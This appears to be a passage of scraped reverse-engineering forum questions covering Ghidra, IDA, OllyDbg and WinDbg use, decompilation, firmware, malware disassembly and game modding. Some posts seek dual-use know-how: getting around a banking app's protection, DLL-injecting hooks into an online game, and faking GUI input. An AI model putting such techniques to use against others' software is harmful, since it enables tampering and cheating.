+04-02 17:15:34.847  2526  2587 I WindowManager: Destroying surface Surface(name=Application Error: com.ibsbankmobile) called by com.android.server.wm.WindowStateAnimator.destroySurface:2137 com.android.server.wm.WindowStateAnimator.destroySurfaceLocked:949 com.android.server.wm.WindowState.destroyOrSaveSurface:2114 com.android.server.wm.WindowSurfacePlacer.performSurfacePlacementInner:435 com.android.server.wm.WindowSurfacePlacer.performSurfacePlacementLoop:236 com.android.server.wm.WindowSurfacePlacer.performSurfacePlacement:184 com.android.server.wm.WindowManagerService$H.handleMessage:8481 android.os.Handler.dispatchMessage:110
+04-02 17:15:34.857   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:-1) disconnect(C)
+04-02 17:15:34.857   303   303 I BufferQueue: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:-1) ~BufferQueueCore
+
+
+ +the app in question can be found here + +can anyone tell or explain to me what is going wrong here? and how can I circumvent it? + +any help would be appreciated +" +"['ollydbg', 'c', 'dll', 'plugin']"," Title: Develop a Hello World plugin for OllydbgBody: I wanted to write a plugin for Ollydbg 2 which shows just a simple message. I write the following one but it doesn't load in ollydbg. I am using ollydbg 2 and my DLL can't load by it. Where is the problem? + +
#define _CRT_SECURE_NO_DEPRECATE
+
+#include <windows.h>
+#include <stdio.h>
+#include <string.h>
+#include ""plugin.h""
+
+#define PLUGINNAME      L""Hello World""      // Unique plugin name
+#define VERSION         L""2.00.01""          // Plugin version
+HINSTANCE               hDllInstance;       // Instance of plugin DLL
+static t_table          HelloWorld;         // Hello World table
+
+
+// Menu function of main menu, opens or brings to top list of bookmarks.
+static int OpenHelloWorldMessage(int mode) {
+    if (mode == MENU_VERIFY)
+    {
+        return MENU_NORMAL;
+    }
+    else if (mode == MENU_EXECUTE) 
+    {
+        MessageBox(NULL, L""This is a Sample Program."", L""Message"", MB_OK);
+        return MENU_NOREDRAW;
+    }
+    else
+    {
+        return MENU_ABSENT;
+    }
+};
+
+// Menu function of main menu, displays About dialog.
+static int ShowHelloWorldAbout(int arg_mode) {
+    int dwNumber;
+    wchar_t wcStringProgram[TEXTLEN];
+    if (arg_mode == MENU_VERIFY)
+        return MENU_NORMAL;
+
+    else if (arg_mode == MENU_EXECUTE) {
+        // Debuggee should continue execution while message box is displayed.
+        Resumeallthreads();
+
+        dwNumber = StrcopyW(wcStringProgram, TEXTLEN, L""Hello Plugin v"");
+        dwNumber += StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, VERSION);
+        dwNumber += StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, L""\nCopyright (C) 2019-2020 lightning"");
+        StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, L""MSVC Compiler"");
+        MessageBox(hwollymain, wcStringProgram, L""Bookmark plugin"", MB_OK | MB_ICONINFORMATION);
+
+        Suspendallthreads();
+
+        return MENU_NOREDRAW;
+    };
+
+    return MENU_ABSENT;
+};
+
+static t_menu HelloWorldMainMenu[] = {
+    { L""Open Hello"", L""Show Hello Message"", K_NONE, OpenHelloWorldMessage, NULL, 0 },
+    { L""|About"", L""About Hello Plugin"", K_NONE, ShowHelloWorldAbout, NULL, 0 },
+    { NULL, NULL, K_NONE, NULL, NULL, 0 }
+};
+
+
+extc t_menu* __cdecl ODBG2_PluginMenu(wchar_t* type) {
+
+    if (wcscmp(type, PWM_MAIN) == 0)
+        return HelloWorldMainMenu;
+
+    return NULL;
+};
+
+static t_menu HelloWorldMenu[] = {
+    { L""|>STANDARD"", L"""", K_NONE, NULL, NULL, 0}
+};
+
+BOOL WINAPI DllEntryPoint(HINSTANCE hi, DWORD reason, LPVOID reserved) {
+    if (reason == DLL_PROCESS_ATTACH)
+        hDllInstance = hi;          // Mark plugin instance
+    return 1;                       // Report success
+};
+
+extc int __cdecl ODBG2_Pluginquery(int arg_olly_version, ulong* arg_features, wchar_t arg_plugin_name[SHORTNAME], wchar_t arg_plugin_version[SHORTNAME]) {
+    if (arg_olly_version < 201)
+        return 0;
+                                                    // Report name and version to OllyDbg.
+    wcscpy(arg_plugin_name, PLUGINNAME);            // Name of plugin
+    wcscpy(arg_plugin_version, VERSION);            // Version of plugin
+    return PLUGIN_VERSION;                          // Expected API version
+};
+
+
+extc int __cdecl ODBG2_Plugininit(void) 
+{
+    OpenHelloWorldMessage(MENU_EXECUTE);
+
+    return 0;
+};
+
+ +I wanted when it gets load show a message but it doesn't work. +" +"['python', 'ghidra']"," Title: Ghidra Python - Get x-refs of a specific functionBody: What is the best way to get calling x-refs for a specific function? + +I am aware of the following method: + +
func = getFirstFunction()
+
+while func is not None:
+    func_name = func.getName()
+    if func_name == <my_func>:
+        entry_point = func.getEntryPoint()
+        references = getReferencesTo(entry_point)
+
+func = getFunctionAfter(func)
+
+ +Is there a way to do that without iterating through all the functions? +" +"['file-format', 'decompile']"," Title: How to decode a .plr fileBody: I have a .plr file that contains all of the player information for the game Terarria. +I would like to decode it to have a look at what data is stored on this file so that I can play around with making edits. + +Opening the file in a text editor, it appears as such: https://pastebin.com/x19Triv1 + +I had hoped that converting this file to binary and then converting the binary to text would work, but it just converts it back into garbage characters. +Here is the binary: https://pastebin.com/uX2p5kGr + +Any ideas on how to go about decoding this file will be appreciated. +" +"['ida', 'assembly']"," Title: increment a register which has maximal value?Body: I am looking at some assembly code and can't get my head around it. The code below is shown in IDA. My question revolves on what happens in the loop. + +Let me explain what I exactly don't understand in the loop: Above the little loop eax is set to be FFFFFFFFh, which is basically ""1"" in all the 32 bits in eax(?). In the little loop eax is incremented. But eax is at max value? What happens when I increment eax? Will it go back to 0? + + +" +"['c++', 'arm', 'ghidra']"," Title: What does this decompiled line mean?Body: __dest = (byte *)(**(code **)(*plVar5 + 0x10))(plVar5,(ulonglong)(numBytes + 1)); +memcpy(__dest,param_2,numBytes + 1); + +Can someone please explain what the first line does step by step? I get that it's preparring a byte array for the memcpy function but I'm confused by the rest, especially that ""code"" type. Is that an opcode or something ? +" +"['c++', 'msvc', 'name-mangling']"," Title: undname.exe: invalid undecorated namesBody: I've discovered undname.exe today and tried it on several functions. I got some incorrect results and I'm wondering why. I see two main reasons that could do that: + + + +Here's an example of a wrong result: + +
Undecoration of :- ""?GetClassNameW@User@@QAE?AVFName@@H@Z""
+is :- ""public: class FName __thiscall User::GetClassNameW(int)""
+
+ +After trying this signature and receiving a stack error, I looked at the disassembled code of GetClassNameW and realised the function signature actually was void(__thiscall* user_getClassNameW)(User*, FName*, int); + +I do not know the exact version of msvc used to compile the example and it seems that the only way to download undname.exe is to install visual studio, so I can't easily test this. + +Any idea where the problem could come from? +" +['angr']," Title: How to export disassembly using angrBody: I would like to know how to export angr's disassembly in say txt file. + +I looked at the angr documentation - https://angr.io/api-doc/angr.html#module-angr.analyses + +I found that there are some endpoints like - Disassembly, cfgfast under proj.analyses. I want to get objdump like disassembled input. This paper says that they used cfgfast for their analysis. So, I checked that class, but couldn't find particular methods to print the assembly. For e.g. in radare2, I can do - + +
r2.cmd('aaa')
+r2.cmd(f'pd $s > {filename+""_radare.txt""}')
+
+ +to get the disassembly after analysis. +" +"['binary-analysis', 'ghidra']"," Title: Getting the function's original file name within GhidraBody: I am trying to extract the original file name of some functions through Ghidra. In particular I have enabled the debug symbols so that it does contains the function names in the disassembly listing and want to get the actual file names (header file or source file) of function. For example let's say we have a function named HAL_UART_Transmit. I want to identify the exact file name or the location (path) that this function belongs in the source. Can I do this from the Ghidra IDE itself, or I there a way to get this from a script? Any help would be appreciated. Thanks. +" +"['debugging', 'radare2', 'anti-debugging']"," Title: Anti-re tactics or radare problem while debuggingBody: Here's the target application: https://www.sa-mp.com/download.php + +While live debugging, the Windows application is starting a few threads, and Cutter auto breaks after entrypoint for a reason I'm not sure of. The samp server application only throws that it cannot load server.cfg. Is it due to threads, or is it anti-re tactics? + +All auto settings. +Cutter v1.10.3x64 +Windows 10 Home +" +['ida']," Title: Appending strings mid functionBody: I'm using Ida Freeware. The string should not be changed in .data section. Basically I need to append a few letters to a string mid function. Currently it looks like this: + + +First I would like to test my theory. How can I change the string in memory for just this function call? + +Later on: +I generated a simple asm from this code + +
#include <stdio.h>
+#include <stdbool.h>
+#include <string.h>
+
+char string[] = ""filterscripts/%s"";
+
+void fun(char filename[])
+{
+  char result[128];
+  strncpy(result, string, sizeof result);
+  strncat(result, "".amx"", sizeof result);
+}
+
+int main() {
+  fun(""Shorter"");
+}
+
+ +i686-w64-mingw32-gcc -S -Wall main.c + +Resulting in + +
    .file   ""main.c""
+    .globl  _string
+    .data
+    .align 4
+_string:
+    .ascii ""filterscripts/%s\0""
+    .text
+    .globl  _fun
+    .def    _fun;   .scl    2;  .type   32; .endef
+_fun:
+    pushl   %ebp
+    movl    %esp, %ebp
+    pushl   %edi
+    subl    $148, %esp
+    movl    $128, 8(%esp)
+    movl    $_string, 4(%esp)
+    leal    -136(%ebp), %eax
+    movl    %eax, (%esp)
+    call    _strncpy
+    leal    -136(%ebp), %eax
+    movl    $-1, %ecx
+    movl    %eax, %edx
+    movl    $0, %eax
+    movl    %edx, %edi
+    repnz scasb
+    movl    %ecx, %eax
+    notl    %eax
+    leal    -1(%eax), %edx
+    leal    -136(%ebp), %eax
+    addl    %edx, %eax
+    movl    $2020434222, (%eax)
+    movb    $0, 4(%eax)
+    nop
+    addl    $148, %esp
+    popl    %edi
+    popl    %ebp
+    ret
+    .def    ___main;    .scl    2;  .type   32; .endef
+    .section .rdata,""dr""
+LC0:
+    .ascii ""Shorter\0""
+    .text
+    .globl  _main
+    .def    _main;  .scl    2;  .type   32; .endef
+_main:
+    pushl   %ebp
+    movl    %esp, %ebp
+    andl    $-16, %esp
+    subl    $16, %esp
+    call    ___main
+    movl    $LC0, (%esp)
+    call    _fun
+    movl    $0, %eax
+    leave
+    ret
+    .ident  ""GCC: (GNU) 5.3.1 20160211""
+    .def    _strncpy;   .scl    2;  .type   32; .endef
+
+ +I could identify either strncpy or snprintf function calls, put the "".amx"" in the .data section somewhere, and use a trampoline to put parts of the above code to do it, but are there more streamlined and acknowledged ways to do it? +" +"['strings', 'dll-injection', 'game-hacking']"," Title: Get string from function and pass it to another programBody: I want to make a small tool that analyzes text from console in online game and I'm stuck at reading a string from a function and sending it to another program. I managed to find function that takes string as argument and calls function responsible for showing it in game and it looks something like this: + +
void Game::processTextMessage(Otc::MessageMode mode, const std::string& text)
+{
+    g_lua.callGlobalField(""g_game"", ""onTextMessage"", mode, text);
+}
+
+ +Also, using Cheat Engine and x96dgb i found address of this function: + + +String I need to capture is ""Czerw pozostawia po sobie: 3 robaki"". +I tried .dll injection but I don't know how to hook to that function. +Also I found something similar to what I want to do: https://github.com/ur0/DotATranslator/blob/master/Injectee/dllmain.cpp +but I don't know what to change to make it work. What steps should I take? +" +"['decompilation', 'python', 'ghidra']"," Title: Ghidra Python - Get Decompile Line Text by RVABody: Is there a way in Ghidra Python to get the corresponding decompile line by RVA? + +Or the opposite - get the corresponding RVA from a given line in a decompile? +" +"['decompilation', 'ghidra', 'decompile', 'decompiler']"," Title: Ghidra wrong array sizeBody: I'm new to the field, so it's probably a stupid question, but when I tried to decompile this binary from picoCTF 2019 I got an array of size 4 (local_38) when looking at a solution it should be of size 26. + +Why is this happening? And what should I do to solve this if possible? + +Here is the result of the decompling. + +
void main(void)
+
+{
+  FILE *__stream;
+  FILE *__stream_00;
+  size_t sVar1;
+  long in_FS_OFFSET;
+  int local_54;
+  int local_50;
+  char local_38 [4];
+  char local_34;
+  char local_33;
+  char local_29;
+  long local_10;
+
+  local_10 = *(long *)(in_FS_OFFSET + 0x28);
+  __stream = fopen(""flag.txt"",""r"");
+  __stream_00 = fopen(""mystery.png"",""a"");
+  if (__stream == (FILE *)0x0) {
+    puts(""No flag found, please make sure this is run on the server"");
+  }
+  if (__stream_00 == (FILE *)0x0) {
+    puts(""mystery.png is missing, please run this on the server"");
+  }
+  sVar1 = fread(local_38,0x1a,1,__stream);
+  if ((int)sVar1 < 1) {
+                    /* WARNING: Subroutine does not return */
+    exit(0);
+  }
+  puts(""at insert"");
+  fputc((int)local_38[0],__stream_00);
+  fputc((int)local_38[1],__stream_00);
+  fputc((int)local_38[2],__stream_00);
+  fputc((int)local_38[3],__stream_00);
+  fputc((int)local_34,__stream_00);
+  fputc((int)local_33,__stream_00);
+  local_54 = 6;
+  while (local_54 < 0xf) {
+    fputc((int)(char)(local_38[local_54] + '\x05'),__stream_00);
+    local_54 = local_54 + 1;
+  }
+  fputc((int)(char)(local_29 + -3),__stream_00);
+  local_50 = 0x10;
+  while (local_50 < 0x1a) {
+    fputc((int)local_38[local_50],__stream_00);
+    local_50 = local_50 + 1;
+  }
+  fclose(__stream_00);
+  fclose(__stream);
+  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
+                    /* WARNING: Subroutine does not return */
+    __stack_chk_fail();
+  }
+  return;
+}
+
+" +"['radare2', 'c++']"," Title: What does std::string::oprator__unsigned_long do?Body: I am new to reverse c++ program. + +I met this code from r2 decompilation. + +
            pcVar6 = (char *)sym.imp.std::string::operator___unsigned_long
+                                       (&username, (int64_t)(int32_t)(uint32_t)var_32ch,
+                                        (int64_t)(int32_t)(uint32_t)var_32ch);
+
+ +What does the code mean? + +Thanks in advance. +" +"['kernel-mode', 'x86-64']"," Title: How can i check if i am running in ring 0 / ring 3 on x64 CPUBody: I have read it is possible to check ring level with bit 3 of CS register. +Is there another register which really contains ring value (2 bits) +" +"['ida', 'c++', 'ghidra', 'ida-plugin']"," Title: IDA and Ghidra ReversingBody: I have several questions about IDA and Ghidra (for MIPS and ARM): + +
    +
  1. Is there any option to load an executable file with all its libraries? +For example, I want to enter inside a function which its implementation is in a library, and not to open a new instance of IDA or add the library in a new tab inside Ghidra
  2. +
  3. Is there any good tutorial on reversing c++ for MIPS/ARM?
  4. +
  5. Are there any plugin you recommend for Ghidra or IDA for MIPS/ARM ? all that I see is for x86 (not plugin for analyzing malware, plugins for analyzing firmware)
  6. +
+" +"['kernel-mode', 'kernel']"," Title: Windows or Linux x86 Scheduler instructionsBody: I want to understand how multi process scheduler works on x86 CPU with Linux or Windows kernels. + +I have read there is a kind of ""timer"" inside CPU. This timer gives ""time slices"" to each process. + +What i want to understand is what really happens when a time slice is finished. Does an interrupt fire ? or something else ? I suppose kernel code is runned between 2 slices but how... + +Thanks +" +"['assembly', 'x86']"," Title: x86 ELF - argc location on stack?Body: According to the System V ABI for x86, esp should be pointing at argc when entering main. However, I've seen many binaries where argc instead is retrieved from esp + 4, or esp + 8. Is this correct, or am I missing something? Also, why do these offset differ? + + +" +"['windbg', 'breakpoint']"," Title: Windbg: ""gu"" command inside of a breakpoint causes warningBody: I'm trying to leverage ""gu"" command in a conditional breakpoint or as a ""CommandString"" in a regular breakpoint. For example let's consider break on a malloc() function when we want to see in logs what pointer was allocated and what was the size of an allocation: + +
bp msvcrt!malloc ""r $t1=@rcx; gu; .printf \""malloc: %p %08x\\n\"",@rax,@$t1; gc""
+
+ +
+ tldr: So, we've created a temporary register $t1, assigned it to the + size of allocation (the arch is x64, thus @rcx = ""size""), steeped out + of the function using ""gu"" command, and finally printed pointer at + @rax plus our temp register value. You can try it yourself with a ""notepad.exe"" ;) +
+ +It's kind of working, we can see the data: + +
Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d42c0 00000100
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d4700 00000088
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d47c0 00000088
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d4880 00000038
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d4f10 000000f0
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d5030 00001124
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d6190 00002430
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d85f0 00000200
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d8820 00000080
+Some commands were skipped because previous commands caused target execution inside an event handler.malloc: 000001d2e78d88d0 00000080
+
+
+ +With the only small exception which is noisy string +""Some commands were skipped because previous commands caused target execution inside an event handler."". It seems it's always in a logs when we're using ""gu"" as a ""CommandString"". + +Any ideas how to get rid of it or what is the intended way of solving such a problem? + +Regards! +" +"['breakpoint', 'tracing']"," Title: Trace back regularly used .data variable in IDABody: I am reversing Cryptex.exe 1.0 from Eldad. + + + +There is unknown-data buffer address stored in edx which gets used as parameter for CryptHashData, which will hash 20 Bytes from there. Now I want to find which function actually writes this buffer (edx stores 0019F578 at this point of debugging) +I don't get smart with [esp+C], because esp should be the last push exc, and counting from there it should be push 0? + +What I want to try is setting a breakpoint on .data 0019F578 without break (since it gets used alot by the program in general) and tracing all functions called till the breakpoint ds:CryptHashData. But that doesn't work in IDA. IDA will not recognize other breakpoints with break after I set up this. +I'm glad to learn new methods about tracing, since it's very important to know. + +" +"['firmware', 'firmware-analysis']"," Title: Trying to extract an uncompressed Filesystem uImageBody: I'm trying to explore the firmware (Huawei LiteOS) of a Hi3518-based IP camera. From my explorations, it seems to be an uncompressed & unencrypted filesystem image but I can't seem to access the contents. I have no serial access to the device at all. + +Running file on the firmware file returns + +u-boot legacy uImage, 7518-hi3518-liteoslzm, Linux/ARM, Filesystem Image (any type) (Not compressed), 4002560 bytes, Sat Apr 20 04:36:35 2019, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0x17BDF51E, Data CRC: 0x5C5FF340 + +binwalk only returns the following + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             uImage header, header size: 64 bytes, header CRC: 0x17BDF51E, created: 2019-04-20 04:36:35, image size: 4002560 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x5C5FF340, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: ""7518-hi3518-liteoslzm""
+
+ +Extracting everything after the header results in a binary file that I haven't been able to dump with JFFS2 (Wrong bit mask), SquashFS (No SquashFS superblock). Lzma says file format not recognized. + +Opcodes show: + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+2657993       0x288EC9        Ubicom32 instructions, function epilogue
+
+ +Thanks for your help! + +Hexdump added - Apr 16, 2020 +(Full at: https://drive.google.com/file/d/1LXHaFbhyl5_Jba1Gsoa0JzuYE-SRy12o/view?usp=sharing ) + +First 12 lines: + +
0000040 12f0 003d 52c8 0065 0000 0000 0000 0000
+0000050 c030 54fb 8c5e 5871 0405 3f10 4674 2100
+0000060 6748 1004 00ca 00ce 00d2 450e 0040 0561
+0000070 401a ff88 efef efef efef efef efef efef
+0000080 efef 6b6f 26b4 0099 8b84 0f49 9440 f4a6
+0000090 0400 4b04 ff4f bf2f bfbf bfbf bfbf bfbf
+00000a0 bfbf bfbf bfbf afcd c055 7a71 8174 8401
+00000b0 1889 4018 5470 003c e784 03c4 a040 adc0
+00000c0 0401 1aeb 4018 3880 0189 2644 1819 e040
+00000d0 9954 4401 d88d 4001 41e8 5a3c c490 2200
+00000e0 0cc4 e00c 2221 d400 0200 a5a1 2003 c874
+00000f0 00cc 92f2 0c0d 6820 d843 2200 ede4 2000
+
+
+ +Entropy and Binvis + + + +" +"['android', 'unpacking', 'anti-debugging', 'apk', 'decompile']"," Title: Invalid file path error while trying to rebuild with apktool and aapt2Body: I am facing an error while try to repack an apk with apkool. below is the error trace. + +

+W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_ic_search_api_material.xml'.
+W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_ic_voice_search_api_material.xml'.
+W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_item_background_holo_light.xml'.
+W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_list_divider_material.xml'.
+W: error: invalid file path 'C:\Users\ccre\res\drawable2\abc_list_selector_background_transition_holo_dark.xml'.
+brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\HOMA~1\AppData\Local\Temp\brut_util_Jar_3949150857603741809118973406025728052.tmp, compile, --dir, C:\Users\ccre\res, --legacy, -o, C:\Users\ccre\build\resources.zip]
+
+
+ +Does anyone tell me what is wrong here and why this error [error: invalid file path] is shown while the file is there?! +" +"['pe', 'dll']"," Title: Access DLL PE file by PEB dllbase addressBody: I got the dllbase address from PEB InMemoryOrderModuleListItem list and I am trying to access the PE dos header file of a DLL. I am new to reverse engineering and in the past, I accessed the dos header by converting the handle of the DLL to the PIMAGE_DOS_HEADER and continue from there. How can I get the dos header by the dllbase address? +I tried to convert the DLL base address to the PIMAGE_DOS_HEADER but in the debugger, I get an error of unable to read memory. +" +['frida']," Title: enumerateExports missing functionsBody:
Module.enumerateExports(""libgame.so"", { onMatch: function(e) { 
+
+console.log(""type "" + e.type + "" name of function = "" + e.name + "" "" +    e.address); }
+, onComplete: function() { } });
+
+ +it does not list all the functions and variables wich im 100% sure some of them are being used after taking a look at ida pro , also there is two odex files in the app user folder , base.odex and some generated odex name based on timestamp , can enumerateloadedClasses load the other odex file or just the base.odex ? im thinking maybe some of the library code is being dumped as odex then calling DynamiteLoaderClassLoader to load it , also the addresses provided does not much ida for exemple on frida i get 0xc32bcf64 but the function on ida its 0x25E4F64 +" +['ghidra']," Title: Ghidra renaming EAXBody: Ghidra is renaming EAX as param_1. Why is this happening? I find it very confusing since it is clearly not a parameter and different uses of EAX are named as if they held the same value. + + +" +"['assembly', 'compiler-optimization']"," Title: Way to check if two assembly programs (one possibly compiled with optimizations) come from the same C source code?Body: Let's suppose I have two programs in assembly code. And I want to check if they both came from the same source code, but one was compiled with optimizations. Is there a tool that can do this? Or some general process that can verify this? +" +"['assembly', 'intel', 'gas']"," Title: What is the equivalent of the dollar sign from jmp $+1 in GAS syntax?Body: I have an asm program made with intel syntax. In this program, I am using this syntax jz $+1 from INTEL (+gcc), that means that I jump into the jz instruction (which is 2 bytes). I jump 1 byte further the current instruction. +I am trying to find what is the correct syntax to do the same thing in GAS AT&T syntax, but I can't find the information. +Does anyone know that? +" +['msvc']," Title: MSVC Destructors with 2 ArgumentsBody: I'm reversing a program which I assume was compiled with MSVC. It's seeming like the first entry in each vtable is the class' destructor. However, when I look at the disassembly and decompilation, it seems like the destructors all take a second argument, and that the object's memory is only freed if that second argument is nonnull. + +What is the purpose for this second argument? I would think that, if it's a destructor, the class should always be destructed and its memory freed. So why the second argument which could prohibit the memory from being freed up? +" +['gdb']," Title: ASLR and it's effectBody: I was debugging some programs with gdb, I already set the disable-randomization to on, but I was having trouble, I set a break point and examined that the $sp is different everytime, what causes this randomization besides ASLR? +" +"['c', 'gdb', 'stack']"," Title: Why does this x64 stack have other bytes and seems to be in reverse order?Body: I wrote the following small C program and you can also see the stack in the screenshot. My question is twofold: + +
    +
  1. How come there are entire rows of other data between the 3 stack strings?
  2. +
  3. Why is my first stack string actually on top of the stack? I would think if I had 3 stack strings in succession, the string coming first in the C program would be at the bottom of the stack, and the last string pushed would be at the top.
  4. +
+" +"['binary-analysis', 'deobfuscation']"," Title: Main contemporary deobfuscation techniquesBody: Could you please specify in a few words main contemporary deobfuscation techniques which we can apply to 32/64 bit PE files? +For example, (1) using instruction templates, such as: + +
mov edx, 5B1F04F1h
+xor edx, 6ADB1F45h
+add edx, 0CE3BE450h
+
+ +Can be convert to: + +
mov r32, imm32_1
+xor r32, imm32_2
+add r32, imm32_3
+
+ +Pack into: + +
mov r32, (imm32_1 ^ imm32_2 + imm32_3)
+
+ +And later become: + +
mov edx, 4h
+
+" +"['windows', 'memory', 'function-hooking', 'stack', 'windows-10']"," Title: Where do mouse/keyboard GUI inputs get queued or stored?Body: Where do mouse-clicks in a program's GUI window/menus (Windows OS) get stored in memory? Is there some sort of input/GUI ""queue"" similar to Windows messages queuing? + +I'm wondering if it'd be possible to manually manipulate these queues, for example, to make a program (or the OS) think that an item or coordinate was mouse-clicked when it wasn't (physically). +" +['ghidra']," Title: Is it possible to load multiple files into a single Ghidra memory map?Body: 1980s arcade video games generally had multiple ROM chips. + +I suppose these often mapped into a single address space and often may have been bank switched in and out of sections of a single address space, and often a mix of the two. + +Conceptually either should be possible in Ghidra's Memory Map window, using ""Overlay"" with ""File Bytes"". Even though I can import a second file into a window that already has a file open, going into the Memory Map, even though there's a dropdown menu for ""File Bytes"", it's only populated with one file. + +Is there some way I haven't been able to find that lets me load two ROMs into a single address space? It's certainly useful for many other scenarios than just old arcade games. +" +"['binary', 'binary-format', 'binary-editing']"," Title: Trying to rip the sprites of this gameBody: I am currently trying to rip the sprites from an Nintendo DS game called Cookie Shop - Create Your Dream Shop but they are all in _LZ.bin files. + +When I've unpacked its compression, I could see lots of files titles spr.bin and pal.bin + + +I know that these files are the sprites as well as their corresponding palettes but I had zero idea to open them. + +I tried using CrystalTile2, but all it came out was garbled mess, both the palette and sprite. + +Here are the hexadecimals for the palettes and sprites respectively. + + + + +Now this is what the sprite and pallete looked like in NO$GBA. + + + +Pallette table OBP C (from left to right, RGB Format) +001010 +0F0604 +130B09 +191311 +1D1816 +1A0C10 +1C1013 +1F1518 +1F1C1D +1F1F1F +0F1808 +151E0D +130508 +1A0A0F +1D0F12 +000000 (not used) + +Also, the max color hex is 1F, not FF. +001010 is used as a transparency filter if I assume. + +I also found sprites that were never used in the game, and I went to change the names of the characters, but it ended up freezing the game after I pressed continue. + +Is it possible to extract the sprites? Because I want to use it to create a sprite sheet, as well as creating a story using these characters. +" +"['binary-analysis', 'radare2', 'executable', 'strings']"," Title: Replace string in hexa with a longer one in .bin without destroying the structure (in .data)Body: I would like to replace some hard-coded strings in a compiled exe (in .data) which is in chinese (with no possibility to put it in other languages). +I managed to replace strings in hexadecimal with other ones of same lenght, but I face some issues of course when I want to replace strings with longer ones...First option - overwrite - will overwrite next bytes, and second option - insertion - will mess up my .exe probably because of his structure and so one. + +What possibilities do I have ? + +Already tried radar2;ResEdit; ResTuner which founds most of strings (string tables) but not the ones which needs interaction in the exe. For example if I click on a button a dialog appears, which is not found by those tools. That's why no I'm in need to replace those strings directly with an hexadecimal editor. + +After some reasearch it seems that those softwares found string in .rsrc but not in .data + +EDIT1 + +Now I succeed. It seems that there is some kind of check of string length or something like this but not on all strings... + +Here is a replaced string with his correct size: + +ant it's function: + +Here another with length issues: + + +and it's local function: + +Here what I replaced : + + +It seems that ther is probably a check of string length somewhere...where do I need to give an eye ? +Thanks! + +EDIT2 +Here sub_41A974 (I tried to understand what this fct is doing but I still don't understand: + + +The fct sub_4028E0 sets font style :(1/2) + + + +(2/2): + + + +EDIT3 + +Seems that doesn't have to deal with any of this. Directly after started the software, my data is trunked (Windbg comfirmed it I only started and exit the software) : + +" +['x86-64']," Title: x64 processor moduleBody: I just downloaded Ghidra last evening on a Fedora Linux machine with 4 Intel Core i5-7200U CPUs. +When querying the ""installed processor modules"" in ""Help"" I get a listing of 41 processors. +x86 is on the list, but x64 is not. +How do I fix that, and get the x64 processor module installed? +" +"['disassembly', 'malware', 'objdump']"," Title: What does objdump -b binary means?Body: So I have started to digging in malware analysis and I came across with some malware samples that I couldn't disassembly with objdump. More specifically I use + +
objdump -dS /path/to/malware
+
+ +and I got the output + +
malwareFile: file format pei-i386
+objdump: Reading section .text failed because: File truncated 
+
+ +With a little search I found + +Unable to dump malware assembly using objdump + +So I use + +
objdump -b binary -D -m i386 /path/to/malware
+
+ +and I got its mnemonic codes but I cannot understand what happen even after reading from the Linux man page. Does with this way, the data, bss and code segment be treated as a whole? Can I really depend on this solution for my research? +" +['game-hacking']," Title: how to change the read destination of the data in the gameBody: I would like to know how to change the read destination of the data in the game. + +I now want to modify the player data and fonts in a psx baseball game. + +However, the player data in the target game(called jikkyou powerful pro yakyuu premium ban) has a compressed data file (P_SC_M.BIN) and an uncompressed data file (P_SEL.BIN), and the one that is loaded in the game is compressed. + +I can modify uncompressed data, but I can't modify compressed data. + +So, in this case, I would like to know how to change the in-game data read destination from compressed data to uncompressed data. + +Please let me know if you have any hints or information about useful tools. + +Thank you. +" +"['binary-analysis', 'binary', 'fuzzing']"," Title: What are some ways to pass raw bytes to a program via the Linux terminal?Body: I want to pass raw bytes to a (C) program using the Linux Bash shell. I find that when I try to pass for example ""\x00\xFF\xAB"", the program receiving the input actually gets the ASCII character codes for the string, rather than interpret them as the raw bytes. + +One way I've seen people accomplish this is by calling python -c 'print(""\x00\xFF\xAB"")' and piping output to the program under test. Is there a way to do this without using Python by just using the Bash shell? +" +['ghidra']," Title: Force Format/Analyser on obfuscated/anti-disassembly fileBody: I have a clear .class file, which is likely obfuscated. However, Ghidra is not detecting it as Java, and shows it as Raw binary, which prevents me from using the Java Class Analyzer on the file. + +How can I force Ghidra to identify the file as Java class file or to show me the Java Class Analyzer? + + +" +"['ida', 'windows', 'kernel-mode', 'kernel', 'system-call']"," Title: Windows - syscalls being called in a strange way?Body: I've been reading about the way syscalls are called in windows.
+The general theme in all the articles I read is:
+64bit- called inside ntdll
+32bit- from ntdll jumping to KiFastSystemcall
+but when I opened IDA with ntdlls from both 64 and 32 bit to verify these articles this is what I saw:
+(32bit) + +
NtCreateFile proc near
+mov     eax, 55h        ; syscall num
+mov     edx, offset j_Wow64Transition
+call    edx ; weird stub is called instead of KiFastSystemcall.
+            ; I couldn't find anything about it.perhaps a wrapper around KiFastSystemcall?
+
+retn    2Ch
+NtCreateFile endp
+
+ +(64bit) + +
NtCreateFile proc near
+mov     r10, rcx        ; NtCreateFile
+mov     eax, 55h
+test    byte ptr ds:7FFE0308h, 1 ; some test to decide wether to use int 0x2E or syscall?
